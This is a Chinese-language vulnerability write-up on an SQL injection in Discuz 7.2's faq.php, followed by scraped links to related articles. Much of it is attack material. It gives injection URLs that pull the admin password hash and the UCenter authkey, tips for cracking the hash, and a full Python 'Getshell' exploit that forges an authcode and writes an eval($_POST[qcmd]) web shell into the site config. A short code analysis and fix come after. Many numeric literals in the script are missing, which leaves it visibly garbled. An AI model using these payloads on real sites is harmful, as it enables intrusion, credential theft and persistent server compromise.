catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

. 通过获取管理员密码
. 对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询,需要带salt,获取的salt要去掉最后一个数字""
例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71
需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:066ff7
. 通过uc_key获取shell
. 进入后台,添加插件获取webshell

Relevant Link:

http://sebug.net/vuldb/ssvid-87115
http://sebug.net/vuldb/ssvid-87114

2. 漏洞触发条件

.获取数据库版本信息
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 .获取管理员账户密码
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 .获取key
http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
//通过error based injection报错获得注入信息

0x1: POC

import sys,urllib,time,math,base64,hashlib,urllib2
#contant raw
def fg(kaishi, jieshu, wenben):
start = wenben.find(kaishi);
if start >= :
start += len(kaishi);
jieshu = wenben.find(jieshu, start);
if jieshu >= :
return wenben[start:jieshu].strip();
#microtime
def microtime(get_as_float = False) :
if get_as_float:
return time.time();
else:
return '%.8f %d' % math.modf(time.time());
#authget
def get_authcode(string, key = ''):
ckey_length = ;
key = hashlib.md5(key).hexdigest();
keya = hashlib.md5(key[:]).hexdigest();
keyb = hashlib.md5(key[:]).hexdigest();
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:];
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest();
key_length = len(cryptkey);
string = '' + (hashlib.md5(string+keyb)).hexdigest()[:]+string;
string_length = len(string);
result = '';
box = range(, );
rndkey = dict();
for i in range(,):
rndkey[i] = ord(cryptkey[i % key_length]);
j=;
for i in range(,):
j = (j + box[i] + rndkey[i]) % ;
tmp = box[i];
box[i] = box[j];
box[j] = tmp;
a=;
j=;
for i in range(,string_length):
a = (a + ) % ;
j = (j + box[a]) % ;
tmp = box[a];
box[a] = box[j];
box[j] = tmp;
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % ]));
return keyc + base64.b64encode(result).replace('=', '');
#getshell
def get_shell(url0,key,host):
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url0
};
tm = time.time()+*;
tm="time=%d&action=updateapps" %tm;
code = urllib.quote(get_authcode(tm,key));
url0=url0+"?code="+code;
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[qcmd]);//</item>
</root>''';
try:
req=urllib2.Request(url0,data=data1,headers=headers);
ret=urllib2.urlopen(req);
except:
return "error to read";
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>''';
try:
req=urllib2.Request(url0,data=data2,headers=headers);
ret=urllib2.urlopen(req);
except:
return "error";
return "OK: "+host+"/config.inc.php | Password = qcmd"; #去掉/config/uc_config.php 为config.inc.php by niubl
#define over
#url from users
right = len(sys.argv);
if right < :
#note
print ("============================================================");
print ("Discuz <= 7.2 Getshell");
print ("Wrote by Airbasic");
print ("Usage: py.exe " + sys.argv[] + " http://localhost/dz");
print ("============================================================");
raw_input("");
sys.exit()
url = sys.argv[]; #go
url1 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,31) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";
url2 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,32,64) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23";
#authkey1~
wy1 = urllib.urlopen(url1);
nr1 = wy1.read();
authkey1 = fg("'1:","' for",nr1);
#authkey32~
wy2 = urllib.urlopen(url2);
nr2 = wy2.read();
authkey2 = fg("'1:","' for",nr2);
#authkey
authkey = authkey1+authkey2;
#get username and password
#none
#over
#get webshell
url0 = url + "/api/uc.php";
host = url;
print ("Wrote by Airbasic , GetShell Ok !");
print get_shell(url0,authkey,host);
raw_input("");

Relevant Link:

http://blog.csdn.net/yiyefangzhou24/article/details/36913287
http://qqhack8.blog.163.com/blog/static/11414798520146711246279/

3. 漏洞影响范围
4. 漏洞代码分析

/faq.php

..
elseif($action == 'grouppermission')
{
..
//首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids])
$groupids = array();
foreach($gids as $row)
{
//将数组中的所有值的第一位取出来放在groupids中
$groupids[] = $row[];
/*
这里的安全漏洞在于
discuz在全局会对GET数组进行addslashes转义,也就是说会将单引号"'"转义成"\'"
所以,如果我们的传入的参数是: gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是"\",把转义符号取出来了
*/
} /*
在将数据放入sql语句前,通过implodeids函数对$groupids进行处理了一遍
就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'
这样就把原本的用于闭合的单引号给转义了,使得黑客的注入数据得以"逃逸",也就是产生的注入,我们把报错语句放在3这个位置,就能报错
*/
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
$groups = array();
..

Relevant Link:

http://simeon.blog.51cto.com/18680/1440000

5. 防御方法

/faq.php

elseif($action == 'grouppermission')
{
/* 对$gids进行初始化 */
$gids = array();
/* */

Relevant Link:

http://www.crazydb.com/archive/Discuz7.xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8EEXP
http://simeon.blog.51cto.com/18680/1440000

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

discuz /faq.php SQL Injection Vul的更多相关文章

  1. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  2. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  3. ecshop /goods.php SQL Injection Vul

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: poc http://localhost ...

  4. ecshop /category.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuld ...

  5. ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api. ...

  6. ecshop /flow.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏 ...

  7. ecshop /includes/modules/payment/alipay.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/ ...

  8. dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...

  9. dedecms /member/uploads_edit.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Dedecms 5.3版本下的member/uploads_edit.p ...

随机推荐

  1. mysql查看数据库和表的占用空间大小

    mysql查看数据库和表的占用空间大小   第一部分-任务 将线上db,导出后,导入到office db 一. 两种方案: 1,将数据直接从online-->office,通过mysqldump ...

  2. mybatis 3.2.8 + log4j2.0.2 控制台输出sql语句

    mybatis3.2.7有一个bug,使用log4j2 (2.0.2)版本时,会找不到类 ,导致启动失败,详见 https://github.com/mybatis/mybatis-3/issues/ ...

  3. Oracle 常用操作【01】修改、更新数据

    1. oracle 修改表名.列名.字段类型.添加表列.删除表列  alert table scott.test rename to test1--修改表名 alter table scott.tes ...

  4. Adblock Plus for firefox

    关于 Adblock Plus for firefox(以下简称 ABP)的一些笔记. 安装好 ABP,将如下代码保存为 html 文件,然后在 firefox 中打开: <p id=" ...

  5. 每一个C#开发者必须知道的13件事情

    1.开发流程 程序的Bug与瑕疵往往出现于开发流程当中.只要对工具善加利用,就有助于在你发布程序之前便将问题发现,或避开这些问题. 标准化代码书写 标准化代码书写可以使代码更加易于维护,尤其是在代码由 ...

  6. 分布式拒绝服务攻击 DDoS

    分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒 ...

  7. Matlab 的reshape函数

    看Matlab的help文档讲得不是清楚. 先给上一段代码: >> a=[1 2 3;4 5 6;7 8 9;10 11 12]; >> b=reshape(a,2,6); 这 ...

  8. c#自动关闭 MessageBox 弹出的窗口

    我们都知道,MessageBox弹出的窗口是模式窗口,模式窗口会自动阻塞父线程的.所以如果有以下代码: MessageBox.Show("内容',"标题"); 则只有关闭 ...

  9. 将Table表格导出到Excel

    1.导出当前页 效果如下: 前台代码: @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta nam ...

  10. 通过Keepalived实现Redis Failover自动故障切换功能

    通过Keepalived实现Redis Failover自动故障切换功能[实践分享] 参考资料: http://patrick-tang.blogspot.com/2012/06/redis-keep ...